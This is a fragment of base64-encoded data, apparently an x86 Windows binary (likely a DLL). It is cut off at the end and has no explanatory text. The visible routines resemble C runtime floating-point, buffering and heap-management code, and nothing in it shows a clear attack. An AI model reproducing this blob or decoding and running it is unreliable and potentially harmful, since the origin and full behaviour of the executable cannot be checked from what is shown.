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
AgAA6M8AAADd2N3YCsl1Dtnug/gBdQYK7XQC2eDDxoVw////AtstMIYCEIP4AXXtCu106dng
6+Xd2OkNAgAA3djpqAIAAFjZ5JvdvWD///+b9oVh////AXUP3djbLTCGAhAK7XQC2eDDxoVw
////BOnXAQAA3djd2NstMIYCEMaFcP///wPDCsl1r93Y2y0whgIQw9nA2eHbLU6GAhDe2Zvd
vWD///+b9oVh////QXWV2cDZ/Nnkm929YP///5uKlWH////Zydjh2eSb3b1g////2eHZ8MPZ
wNn82Nmb3+CedRrZwNwNYoYCENnA2fze2Zvf4J50DbgBAAAAw7gAAAAA6/i4AgAAAOvxVoPs
dIv0VoPsCN0cJIPsCN0cJJvddgjo72wAAIPEFN1mCN0Gg8R0XoXAdAXpwwEAAMPMzMzMzMzM
zMyAeg4FdRFmi51c////gM8CgOf+sz/rBGa7PxNmiZ1e////2a1e////u6yGAhDZ5YmVbP//
/5vdvWD////GhXD///8Am4qNYf///9Dh0PnQwYrBJA/XD77AgeEEBAAAi9oD2IPDEP8jgHoO
BXURZoudXP///4DPAoDn/rM/6wRmuz8TZomdXv///9mtXv///7ushgIQ2eWJlWz///+b3b1g
////xoVw////ANnJio1h////2eWb3b1g////2cmKrWH////Q5dD90MWKxSQP14rg0OHQ+dDB
isEkD9fQ5NDkCsQPvsCB4QQEAACL2gPYg8MQ/yPowQAAANnJ3djD6LcAAADr9t3Y3djZ7sPd
2N3Y2ejD271i////261i////9oVp////QHQIxoVw////B8PGhXD///8B3AWkhgIQw9nJ271i
////261i////9oVp////QHQJxoVw////B+sHxoVw////Ad7Bw9u9Yv///9utYv////aFaf//
/0B0INnJ271i////261i////9oVp////QHQJxoVw////B+sHxoVw////Ad7Bw93Y3djbLZCG
AhCAvXD///8AfwfGhXD///8BCsnDCsl0Atngw8zMzMzMzNnA2fzc4dnJ2eDZ8Nno3sHZ/d3Z
w4tUJASB4gADAACDyn9miVQkBtlsJAbDqQAACAB0BrgHAAAAw9wFYC4CELgBAAAAw4tCBCUA
APB/PQAA8H90A90Cw4tCBIPsCg0AAP9/iUQkBotCBIsKD6TIC8HhC4lEJASJDCTbLCSDxAqp
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
